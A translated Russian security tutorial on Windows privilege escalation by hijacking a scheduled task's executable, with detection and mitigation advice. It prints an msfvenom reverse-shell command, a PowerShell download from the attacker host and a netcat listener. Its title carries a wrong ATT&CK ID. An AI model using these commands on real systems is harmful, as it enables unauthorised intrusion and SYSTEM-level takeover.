Найти тему

Повышение привилегий Windows: Scheduled Task/Job (T1573.005)

Оглавление

В этой статье пойдет речь о повышении привилегий Windows. Читатели узнают о том, как можно использовать планировщик задач для выполнения отложенных программ в своих целях.

Введение

Хакер может использовать Windows Task Scheduler для планирования или повторного выполнения вредоносных программ. Более того, он способен запускать приложения при входе в систему или по расписанию. Стоит отметить, что планировщик задач Windows может также использоваться для выполнения удаленного кода, чтобы запустить нужные процессы в контексте указанной учетной записи для повышения привилегий.

Планировщик задач

Можно запланировать автоматическое выполнение задач с помощью Task Scheduler. При использовании программы пользователь может выбрать любую программу для запуска в наиболее подходящий для него день и время. Планировщик задач проверяет указанные им критерии времени и задачи, а затем выполняет ее.

Неверно настроенная запланированная задача

Хакер может запустить выполнение процессов или повысить свои привилегии в системе, злоупотребляя любым скриптом, программой или службой, которые автоматически запускаются посредством планировщика задач.

Предустановки

  • Целевой ПК: Windows 10
  • ПК хакера: Kali Linux
  • Условия выполнения: нужно скомпрометировать целевой ПК, имея изначально низкие привилегии (либо с помощью Metasploit, либо – Netcat)
  • Цель: повысить уровень системных привилегий для пользователя с низкими привилегиями, используя запланированные задачи.

Установка лаборатории

Пользователь запускает планировщик задач.

-2

Шаг 1. Он изучает библиотеку планировщика задач, чтобы создать новую задачу.

-3

Шаг 2. Хакер назначает задачу для выполнения с наивысшими привилегиями для пользователя, вошедшего в систему.

-4

Шаг 3. Хакер выбирает условия (триггеры) для запуска запланированной задачи.

-5

Шаг 4. Он запланировал повторение выполнения будущей задачи.

-6

Шаг 5. Когда хакер создает задачу, он должен указать операцию, которая будет выполняться при запуске его задачи.

-7

Шаг 6. Нужно также указать тип операции, которая должна выполняться запланированной задачей. Например, можно запланировать резервное копирование данных с помощью какой-либо исполняемой программы.

-8

Шаг 7. Эта операция по расписанию будет выполняться каждый день в определенное время, чтобы создать резервную копию данных.

Злоупотребление выполнением задачи

Шаг 8. Хакер может повысить привилегии, используя запланированную задачу. После первого выполнения можно запросить список для запланированного действия.

schtasks /query /fo LIST /V

-9

Это помогает понять, какое приложение подключено для выполнения задачи и в какое время.

-10

Чтобы получить Reverse Shell (NT Authority), следует создать вредоносный exe-файл, который может быть выполнен с помощью запланированной задачи. Используя Msfvenom, хакер создал исполняемый файл, который был внедрен в целевую систему.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe

-11

Чтобы злоупотребить запланированной задачей, хакер либо изменит приложение, либо может заменить исходный файл дубликатом. Чтобы вставить дубликат файла в тот же каталог, он переименовывает исходный файл в «file.bak».

-12

Затем он отправил вредоносный file.exe в тот же каталог с помощью команды «wget».

powershell wget 192.168.1.3/shell.exe –o file.exe

-13

Как только дубликат файла «file.exe» отправляется в тот же каталог, он будет автоматически выполняться планировщиком задач. Хакеру нужно удостовериться, что листенер Netcat находится в режиме «слушания» для получения привилегированного Reverse Shell.

nc -lvp 8888
whoami /priv

-14

Обнаружение

  1. Такие инструменты, как Sysinternals Autoruns, могут обнаружить системные изменения, например, показывать текущие запланированные задания.
  2. Такие инструменты, как TCPView и Process Explore , могут помочь идентифицировать удаленные подключения касательно подозрительных служб или процессов.
  3. Обнаружить изменения также можно с помощью просмотра свойства и истории задач посредством командной строки:

Schtasks /Query /FO LIST /V

Следует включить конфигурацию “Microsoft-Windows-Tasksscheduler/Operational” в службе регистрации событий, чтобы получать сообщения о создании и обновлениях в запланированных задачах.

Митигирование

-15
  1. Провести аудит системы с помощью автоматизированного скрипта, чтобы обнаружить ошибки или неправильную конфигурацию. Можно использовать следующие инструменты: WinPeas и SharpUp.
  2. Следует убедиться, что запланированная задача не выполняется от имени СИСТЕМЫ.

Стоит настроить запланированные задачи для выполнения от имени аутентифицированной учетной записи, а не СИСТЕМЫ. Соответствующий раздел реестра находится по адресу:

  • HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl

Настройка может быть осуществлена с помощью GPO (пользуйтесь английским меню, так надежнее):

  • Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled

Автор переведенной статьи: Aarti Singh.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Больше интересного материала на cisoclub.ru. Подписывайтесь на нас: Facebook | VK | Twitter | Instagram | Telegram | Дзен | Мессенджер | ICQ New | YouTube | Pulse.